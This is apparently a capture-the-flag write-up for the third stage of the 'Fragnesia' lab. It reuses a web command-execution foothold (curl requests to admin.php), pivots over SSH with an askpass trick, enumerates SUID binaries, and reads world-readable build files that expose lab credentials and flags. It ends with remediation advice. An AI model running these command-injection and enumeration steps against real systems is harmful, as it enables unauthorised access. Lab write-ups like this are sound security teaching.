Fragnesia - III
192.168.1.26OWASPKL{xxx}1. Challenge Overview
After Fragnesia - II, I had already used the web RCE to pivot into an internal SSH container as the low-privileged user account and recover the second flag. The next step was to find the final flag.
Initial container enumeration suggested a classic local privilege-escalation route because /usr/bin/su was the only SUID binary left inside the container. However, instead of forcing an unreliable su path, I continued live enumeration from the original www-data foothold on the host. That revealed a sensitive container build context under /opt/docker-build/, including the final flag file, readable by the web server user.
The final issue was therefore not a kernel exploit or password attack: it was sensitive deployment artifacts left readable on the host filesystem.
2. Initial State
The starting point for this stage is the authenticated command-execution foothold from Part 1:
1curl -s -b "PHPSESSID=<ADMIN_SESSION>" \2 --data-urlencode "cmd=id" \3 http://192.168.1.26/admin.php1<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>The second-stage pivot also confirmed the internal container as user:
1DISPLAY=:0 \2SSH_ASKPASS=/tmp/askpass.sh \3SSH_ASKPASS_REQUIRE=force \4setsid ssh \5 -o StrictHostKeyChecking=no \6 -o UserKnownHostsFile=/tmp/known_hosts_frag26 \7 -o LogLevel=ERROR \8 -p 2222 user@127.0.0.1 \9 'id; hostname; cat /home/user/second_flag.txt'1uid=1000(user) gid=1000(user) groups=1000(user)2335cbf012f163OWASPKL{F33l_s0_3mPTy_i5nt}3. Analysis / Forensics Path
3.1 Container privilege-enumeration
Inside the container, I enumerated SUID binaries and available escalation tooling.
1find / -perm -4000 -type f -ls 2>/dev/null2command -v sudo || true3command -v python3 script expect perl sh bash suLive output:
1432203 56 -rwsr-xr-x 1 root root 55680 Mar 6 16:10 /usr/bin/su2/usr/bin/python3This showed:
/usr/bin/su was the only SUID binary.
sudo was not available.
Python was present, meaning a PTY-based su attempt would be technically possible.
3.2 Validate whether root-only files are protected in the container
I checked the root flag path from the container user context.
1ls -l /root /root/last_flag.txt 2>/dev/null || trueThe file was not readable as the low-privileged container user. At this point, an obvious path would be to attempt su to root. But since no root password had been recovered through the live attack path, I returned to host-side enumeration instead of guessing credentials.
3.3 Host filesystem enumeration from www-data
The original web RCE still ran as www-data on the host. I enumerated /opt, which often contains application deployment scripts, bot scripts, or container build artifacts.
1curl -s -b "$COOKIE" \2 --data-urlencode 'cmd=find /opt -maxdepth 4 -type f -ls 2>/dev/null' \3 "$TARGET/admin.php"Live output:
1431748 4 -rwxr-xr-x 1 root root 240 May 30 18:22 /opt/admin_bot.sh2431752 4 -rw-r--r-- 1 root root 644 May 30 18:22 /opt/docker-build/Dockerfile3431751 4 -rw-r--r-- 1 root root 33 May 30 18:22 /opt/docker-build/last_flag.txt4431750 4 -rw-r--r-- 1 root root 28 May 30 18:22 /opt/docker-build/second_flag.txt5435482 4 -rw-r--r-- 1 root root 15 May 30 18:24 /opt/container_creds.txtThis was the breakthrough. The container build context was still present on the host under /opt/docker-build/, and both second_flag.txt and last_flag.txt were world-readable (-rw-r--r--).
4. Exploitation / Recovery
4.1 Read deployment artifacts from the host
I read the useful files directly through the www-data RCE:
1curl -s -b "$COOKIE" \2 --data-urlencode 'cmd=for f in /opt/container_creds.txt /opt/docker-build/second_flag.txt /opt/docker-build/last_flag.txt; do echo ---$f; cat $f 2>&1; done' \3 "$TARGET/admin.php"Live output:
1---/opt/container_creds.txt2user:fragnesia3---/opt/docker-build/second_flag.txt4OWASPKL{F33l_s0_3mPTy_i5nt}5---/opt/docker-build/last_flag.txt6OWASPKL{Wh4t_a_L0v3ly_FR4GN3S1A}This recovered the final flag from the host-side build context.
4.2 Why this worked
The final flag was intended to live at /root/last_flag.txt inside the container, protected from the low-privileged user account. However, the same flag file was also left behind in the host's Docker build context:
1/opt/docker-build/last_flag.txtBecause the file permissions were 0644, the compromised web server user (www-data) could read it directly. This bypassed the need for container-root access.
5. Flag
6. Summary of Approach & Key Takeaways
Started from existing web RCE — reused the www-data command execution obtained through the admin bot/session chain.
Checked the expected route — enumerated the internal container and confirmed /usr/bin/su was the only SUID path.
Avoided blind password guessing — no root password was recovered through the live path, so I continued filesystem enumeration instead.
Enumerated /opt from the host — found a leftover Docker build context containing Dockerfile, container credentials, and flag artifacts.
Recovered Flag 3 — /opt/docker-build/last_flag.txt was world-readable and contained the final flag.
Key takeaways:
Build contexts should not be left on production hosts after images are built.
Secrets and challenge flags should never be stored world-readable in deployment directories.
Container isolation does not protect data if the same data remains exposed on the host filesystem.
Post-exploitation enumeration should include deployment paths such as /opt, /srv, /var/www, and container build directories.
7. Remediation Notes
Remove container build directories from the host after image creation.
Store secrets outside world-readable paths and apply least-privilege file permissions.
Do not copy final/root-only secrets into both the container image and a readable build context.
Restrict web service users from reading deployment artifacts not required at runtime.
Replace arbitrary command execution in admin tooling with controlled administrative functions.